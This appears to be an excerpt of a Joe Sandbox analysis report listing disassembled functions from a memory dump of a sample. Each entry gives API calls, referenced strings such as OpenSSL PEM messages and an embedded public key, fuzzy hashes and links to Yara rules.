Strings

ENCRYPTED, xrefs: 004633BC
Proc-Type: , xrefs: 0046337C
DEK-Info: , xrefs: 00463422
.\crypto\pem\pem_lib.c, xrefs: 00463393, 004633D3, 00463407, 00463439, 00463491

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: _strncmp
String ID: .\crypto\pem\pem_lib.c$DEK-Info: $ENCRYPTED$Proc-Type:
API String ID: 909875538-2908105608
Opcode ID: ab3012ab59146815ebf28714d7aa14745dda8ec0f3d5ba1861611fdbbd5b6dc0
Instruction ID: 5da15f4c8f0622be9955200bbf206a62195e74188b9aea783317ae4bc8ba6fc6
Opcode Fuzzy Hash: ab3012ab59146815ebf28714d7aa14745dda8ec0f3d5ba1861611fdbbd5b6dc0
Instruction Fuzzy Hash: B7413EA1BC83C129F721592ABC03F9763854B51B17F080467FA88E52C3FB9D8987419F

Uniqueness

Uniqueness Score: -1.00%

Function 004C5D39 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

__getptd_noexit.LIBCMT ref: 004C5D3D

Part of subcall function 0042501F: GetLastError.KERNEL32(00000001,00000000,0042520D,00420CE9,?,?,00430E81,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00425021
Part of subcall function 0042501F: __calloc_crt.LIBCMT ref: 00425042
Part of subcall function 0042501F: __initptd.LIBCMT ref: 00425064
Part of subcall function 0042501F: GetCurrentThreadId.KERNEL32 ref: 0042506B
Part of subcall function 0042501F: SetLastError.KERNEL32(00000000,00430E81,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00425083

__calloc_crt.LIBCMT ref: 004C5D60
__get_sys_err_msg.LIBCMT ref: 004C5D7E
__invoke_watson.LIBCMT ref: 004C5D9B
__get_sys_err_msg.LIBCMT ref: 004C5DCD
__invoke_watson.LIBCMT ref: 004C5DEB

Strings

Visual C++ CRT: Not enough memory to complete call to strerror., xrefs: 004C5D48, 004C5D6E

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: ErrorLast__calloc_crt__get_sys_err_msg__invoke_watson$CurrentThread__getptd_noexit__initptd
String ID: Visual C++ CRT: Not enough memory to complete call to strerror.
API String ID: 2139067377-798102604
Opcode ID: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction ID: efefb7cdb09aa89a66c944e42d5018451410fe076c3b278b171ca9447b521f4c
Opcode Fuzzy Hash: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction Fuzzy Hash: 8E11E935601F2567D7613A66AC05FBF738CDF007A4F50806FFE0696241E629AC8042AD

Uniqueness

Uniqueness Score: -1.00%

Function 004573F0 Relevance: 10.8, APIs: 1, Strings: 5, Instructions: 251COMMONLIBRARYCODE

Download Yara Rule

APIs

__aulldvrm.LIBCMT ref: 004574E9

Strings

0123456789abcdef, xrefs: 004574C4
0123456789ABCDEF, xrefs: 004574D6
+, xrefs: 00457475
UlE, xrefs: 00457596, 004575A9, 004575D1, 004575F6, 0045762A, 0045765D, 0045767F
, xrefs: 00457482

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: __aulldvrm
String ID: $+$0123456789ABCDEF$0123456789abcdef$UlE
API String ID: 1302938615-3129329331
Opcode ID: ff954d4489a2a32b54fea3d22a27fd44705d04e06401a65576fda6a57d4a9bd9
Instruction ID: ba297de4fec08f8b73c8771b24cc4328c1ae3ea447eff3a94226dc6813255680
Opcode Fuzzy Hash: ff954d4489a2a32b54fea3d22a27fd44705d04e06401a65576fda6a57d4a9bd9
Instruction Fuzzy Hash: D181AEB1A087509FD710CF29A84062BBBE5BFC9755F15092EFD8593312E338DD098B96

Uniqueness

Uniqueness Score: -1.00%

Function 00411B10 Relevance: 10.6, APIs: 7, Instructions: 50timewindowsleepCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM(?,?,?,?,0041EE2F), ref: 00411B1E
timeGetTime.WINMM(?,?,0041EE2F), ref: 00411B29
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411B4C
DispatchMessageW.USER32(?), ref: 00411B5C
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411B6A
Sleep.KERNEL32(00000064,?,?,0041EE2F), ref: 00411B72
timeGetTime.WINMM(?,?,0041EE2F), ref: 00411B78

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: MessageTimetime$Peek$DispatchSleep
String ID:
API String ID: 3697694649-0
Opcode ID: fcc8413cfddb585fd402253dfe517567f0959867a63999003a9cc793a607e07b
Instruction ID: 47d0c5dc5d1eae46eaa001befe89e32fbe66e83151f6641dec248f991c3ab793
Opcode Fuzzy Hash: fcc8413cfddb585fd402253dfe517567f0959867a63999003a9cc793a607e07b
Instruction Fuzzy Hash: EE017532A40319A6DB2097E59C81FEEB768AB44B40F044066FB04A71D0E664A9418BA9

Uniqueness

Uniqueness Score: -1.00%

Function 004416EB Relevance: 9.1, APIs: 6, Instructions: 112COMMON

Download Yara Rule

APIs

__getenv_helper_nolock.LIBCMT ref: 00441726
__invoke_watson.LIBCMT ref: 00441780
_strlen.LIBCMT ref: 00441734

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

_strnlen.LIBCMT ref: 004417BF
__lock.LIBCMT ref: 004417D0
__getenv_helper_nolock.LIBCMT ref: 004417DB

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: __getenv_helper_nolock$__getptd_noexit__invoke_watson__lock_strlen_strnlen
String ID:
API String ID: 3534693527-0
Opcode ID: b31f97ea329719022fda34d1be00e9f165c1a047629ea24459edfa5c04f004d4
Instruction ID: 706a9fbf285425ec29b4e33d2635255339e15eb248031f995e6227ac9da9c0f4
Opcode Fuzzy Hash: b31f97ea329719022fda34d1be00e9f165c1a047629ea24459edfa5c04f004d4
Instruction Fuzzy Hash: A131FC31741235ABEB216BA6EC02B9F76949F44B64F54015BF814DB391DF7CC88046AD

Uniqueness

Uniqueness Score: -1.00%

Function 004506A0 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 119COMMONLIBRARYCODE

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 004507C3

Strings

func(%lu), xrefs: 00450734
lib(%lu), xrefs: 0045071C
reason(%lu), xrefs: 00450758
error:%08lX:%s:%s:%s, xrefs: 00450792

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: ___from_strstr_to_strchr
String ID: error:%08lX:%s:%s:%s$func(%lu)$lib(%lu)$reason(%lu)
API String ID: 601868998-2416195885
Opcode ID: 93747ef9676871f384b6e598e8205c6ebfa69a96be3ff907559ef05580cb13b5
Instruction ID: 4fd155d7ac4cfc4ad9107eba643b63d3b81161049ee91e28a54c83c9030a6459
Opcode Fuzzy Hash: 93747ef9676871f384b6e598e8205c6ebfa69a96be3ff907559ef05580cb13b5
Instruction Fuzzy Hash: F64109756043055BDB20EE25CC45BAFB7D8EF85309F40082FF98593242E679E90C8B96

Uniqueness

Uniqueness Score: -1.00%

Function 0045AE30 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 105COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0045AE4B
_memset.LIBCMT ref: 0045AE6C

Strings

.\crypto\buffer\buffer.c, xrefs: 0045AE88, 0045AEBE, 0045AED3, 0045AEF0
g9F, xrefs: 0045AE31, 0045AE36, 0045AE63, 0045AF14, 0045AF1D

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: _memset
String ID: .\crypto\buffer\buffer.c$g9F
API String ID: 2102423945-3653307630
Opcode ID: 41b8760603798dafaf4d4572c250bcd82449d7f0d7c455ebd7b4e1b6c976a6df
Instruction ID: 958ac6a2dbe7618ecd56aaf11cdfe4c63fb5daf7b6a990d4d23814bb8d8bf6ac
Opcode Fuzzy Hash: 41b8760603798dafaf4d4572c250bcd82449d7f0d7c455ebd7b4e1b6c976a6df
Instruction Fuzzy Hash: 27212BB6B403213FE210665DFC43B66B399EB84B15F10413BF618D73C2D6A8A865C3D9

Uniqueness

Uniqueness Score: -1.00%

Function 00462FF0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

_fprintf.LIBCMT ref: 0046307E
_memset.LIBCMT ref: 004630AB

Strings

phrase is too short, needs to be at least %d chars, xrefs: 00463070
Enter PEM pass phrase:, xrefs: 00463036, 00463043, 00463084
.\crypto\pem\pem_lib.c, xrefs: 00463097

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: _fprintf_memset
String ID: .\crypto\pem\pem_lib.c$Enter PEM pass phrase:$phrase is too short, needs to be at least %d chars
API String ID: 3021507156-3399676524
Opcode ID: 37c0a0619d1de68f8926526a4348b91c256fa9f986865ef3ae2ab210aec5a9ed
Instruction ID: 90c6fe5d672865ace0ee8fbe81ed9b43ee89a432c17a94ace257beddb0b51c59
Opcode Fuzzy Hash: 37c0a0619d1de68f8926526a4348b91c256fa9f986865ef3ae2ab210aec5a9ed
Instruction Fuzzy Hash: 0E218B72B043513BE720AD22AC01FBB7799CFC179DF04441AFA54672C6E639ED0942AA

Uniqueness

Uniqueness Score: -1.00%

Function 00419E70 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 22COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00419EB8
_memset.LIBCMT ref: 00419EC9
_memset.LIBCMT ref: 00419EDA

Strings

-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAtroyViFCj0EsR0pAuVec\\nSwgxLnz3IehW\/o0yGSnMPag, xrefs: 00419EC4
p2Q, xrefs: 00419EE2

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: _memset
String ID: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAtroyViFCj0EsR0pAuVec\\nSwgxLnz3IehW\/o0yGSnMPag$p2Q
API String ID: 2102423945-3310636487
Opcode ID: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction ID: 738f0ca8778653557991c93ab9a04937910ac7dae49cf0696bf478295a84fdc8
Opcode Fuzzy Hash: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction Fuzzy Hash: C5F03028684750A5F7107750BC667953EC1A735B08F404048E1142A3E2D7FD338C63DD

Uniqueness

Uniqueness Score: -1.00%

Function 0043B6FF Relevance: 7.6, APIs: 5, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0043B70B

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(00820000,00000000,00000001,00000001,?,?,?,00430E81,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420CA5

_free.LIBCMT ref: 0043B71E

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: AllocateHeap_free_malloc
String ID:
API String ID: 1020059152-0
Opcode ID: d70b67a4a7fe440acc7419d06ec2b6f75a63a325c355f2e5d89529d3462600c6
Instruction ID: cebe638eb0ed40525ab660a1b273922ca7a171140340163af9fc546bca46de76
Opcode Fuzzy Hash: d70b67a4a7fe440acc7419d06ec2b6f75a63a325c355f2e5d89529d3462600c6
Instruction Fuzzy Hash: F411EB31504725EBCB202B76BC85B6A3784DF58364F50512BFA589A291DB3C88408ADC

Uniqueness

Uniqueness Score: -1.00%

Function 0041F070 Relevance: 7.5, APIs: 5, Instructions: 49windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(00000012,00000000,00000000), ref: 0041F085
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041F0AC
DispatchMessageW.USER32(?), ref: 0041F0B6
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041F0C4
WaitForSingleObject.KERNEL32(0000000A), ref: 0041F0D2

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 6d24f8cffcb6546f687f670e27dc83223b8af0f876a489368cdeea614c080f41
Instruction ID: 8330a25206e7a7c758b309db49295e470543d34b7ed76d4368c5dbe794fa98e6
Opcode Fuzzy Hash: 6d24f8cffcb6546f687f670e27dc83223b8af0f876a489368cdeea614c080f41
Instruction Fuzzy Hash: 5C01DB35A4030876EB30AB55EC86FD63B6DE744B00F148022FE04AB1E1D7B9A54ADB98

Uniqueness

Uniqueness Score: -1.00%

Function 0041E500 Relevance: 7.5, APIs: 5, Instructions: 49windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(00000012,00000000,00000000), ref: 0041E515
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041E53C
DispatchMessageW.USER32(?), ref: 0041E546
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041E554
WaitForSingleObject.KERNEL32(0000000A), ref: 0041E562

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: fff4340a71da7ea92c1385820b9327139908f6a11ddf48d1b12da68ebdd54261
Instruction ID: 59d9cfd0379212e31388a7928d285390ad7449125cd170d7d310b1f6820545b5
Opcode Fuzzy Hash: fff4340a71da7ea92c1385820b9327139908f6a11ddf48d1b12da68ebdd54261
Instruction Fuzzy Hash: 3301DB35B4030976E720AB51EC86FD67B6DE744B04F144011FE04AB1E1D7F9A549CB98

Uniqueness

Uniqueness Score: -1.00%

Function 0041FA40 Relevance: 7.5, APIs: 5, Instructions: 48windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(?,00000012,00000000,00000000), ref: 0041FA53
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FA71
DispatchMessageW.USER32(?), ref: 0041FA7B
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FA89
WaitForSingleObject.KERNEL32(?,0000000A,?,00000012,00000000,00000000), ref: 0041FA94

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction ID: 7dc02704ba958b7d98511173c4623a4fa8f2b4100db45197b38ae147ea501182
Opcode Fuzzy Hash: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction Fuzzy Hash: 6301AE31B4030577EB205B55DC86FA73B6DDB44B40F544061FB04EE1D1D7F9984587A4

Uniqueness

Uniqueness Score: -1.00%

Function 0041FDF0 Relevance: 7.5, APIs: 5, Instructions: 48windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(?,00000012,00000000,00000000), ref: 0041FE03
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FE21
DispatchMessageW.USER32(?), ref: 0041FE2B
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FE39
WaitForSingleObject.KERNEL32(?,0000000A,?,00000012,00000000,00000000), ref: 0041FE44

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction ID: d705e8d6a79994c6a13c6d22e65b3a6180ae01e64e8e6a22fa5ca061b0d405f5
Opcode Fuzzy Hash: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction Fuzzy Hash: 3501A931B80308B7EB205B95ED8AF973B6DEB44B00F144061FA04EF1E1D7F5A8468BA4

Uniqueness

Uniqueness Score: -1.00%

Function 00417BA0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 188COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00417C6A
_memmove.LIBCMT ref: 00417CD4

Strings

string too long, xrefs: 00417D36
invalid string position, xrefs: 00417D2C

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 3e8e620cdafad959620aa8092266a2dd437b35ec9cc4a24f81571b5e96538b17
Instruction ID: 16eedd03d570a769cf24423414cb71a1906862ef28ca1dd771941f38c47b8a04
Opcode Fuzzy Hash: 3e8e620cdafad959620aa8092266a2dd437b35ec9cc4a24f81571b5e96538b17
Instruction Fuzzy Hash: C451C3317081089BDB24CE1CD980AAA77B6EF85714B24891FF856CB381DB35EDD18BD9

Uniqueness

Uniqueness Score: -1.00%

Function 004229A9 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 136COMMON

Download Yara Rule

APIs

__flush.LIBCMT ref: 00422A5F
__write.LIBCMT ref: 00422A92
__flsbuf.LIBCMT ref: 00422AC0

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

Strings

A, xrefs: 00422AB8, 00422A44, 00422A87, 00422A3A, 00422A9F

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: __flsbuf__flush__getptd_noexit__write
String ID: A
API String ID: 3115901604-2078354741
Opcode ID: d1228be24c2bcabe2754a9de32c20230a63627f67e8be6dccc8404be8c77e6ea
Instruction ID: 74c924880168de559db59c14e1a2c39f6381d3f38157317aef41ba5f0430eaff
Opcode Fuzzy Hash: d1228be24c2bcabe2754a9de32c20230a63627f67e8be6dccc8404be8c77e6ea
Instruction Fuzzy Hash: F041F870700626BFDB289F69EA8056F77A5BF44360B94813FE805C7740D6F8DD818B58

Uniqueness

Uniqueness Score: -1.00%

Function 00414160 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004141E4
_memmove.LIBCMT ref: 00414215

Strings

string too long, xrefs: 00414256
invalid string position, xrefs: 00414260

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 749c0c363911c6b197ced0573a154d5961979834c741efb9d592a9087351605d
Instruction ID: c789d4a5c221ce0c411dffae1b259be01e75b302f83ceaf2f45b858c9c7e4579
Opcode Fuzzy Hash: 749c0c363911c6b197ced0573a154d5961979834c741efb9d592a9087351605d
Instruction Fuzzy Hash: 3D311430300204ABDB28DE5CD8859AA77B6EFC17507600A5EF865CB381D739EDC18BAD

Uniqueness

Uniqueness Score: -1.00%

Function 0045AD50 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 91COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0045AD72
_memset.LIBCMT ref: 0045AE15

Strings

.\crypto\buffer\buffer.c, xrefs: 0045AD8B, 0045ADBE, 0045ADD0, 0045ADE7
C7F, xrefs: 0045AD51, 0045AD56, 0045AD69, 0045AE0B, 0045AE14

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: _memset
String ID: .\crypto\buffer\buffer.c$C7F
API String ID: 2102423945-2013712220
Opcode ID: fce9da4f2685e8a546a1aead5558aa77959c7a2ce52c5fe1bdde6675f364ff59
Instruction ID: 54406e9f1970e0e1dce797ef07034894a3cffcceb7efccd845a222dac3d76e8e
Opcode Fuzzy Hash: fce9da4f2685e8a546a1aead5558aa77959c7a2ce52c5fe1bdde6675f364ff59
Instruction Fuzzy Hash: 91216DB1B443213BE200655DFC83B15B395EB84B19F104127FA18D72C2D2B8BC5982D9

Uniqueness

Uniqueness Score: -1.00%

Function 0040C5C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

UuidCreate.RPCRT4(?), ref: 0040C5DA
UuidToStringA.RPCRT4(?,00000000), ref: 0040C5F6
RpcStringFreeA.RPCRT4(00000000), ref: 0040C640

Strings

8a4577dc-de55-4eb5-b48a-8a3eee60cd95, xrefs: 0040C687

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

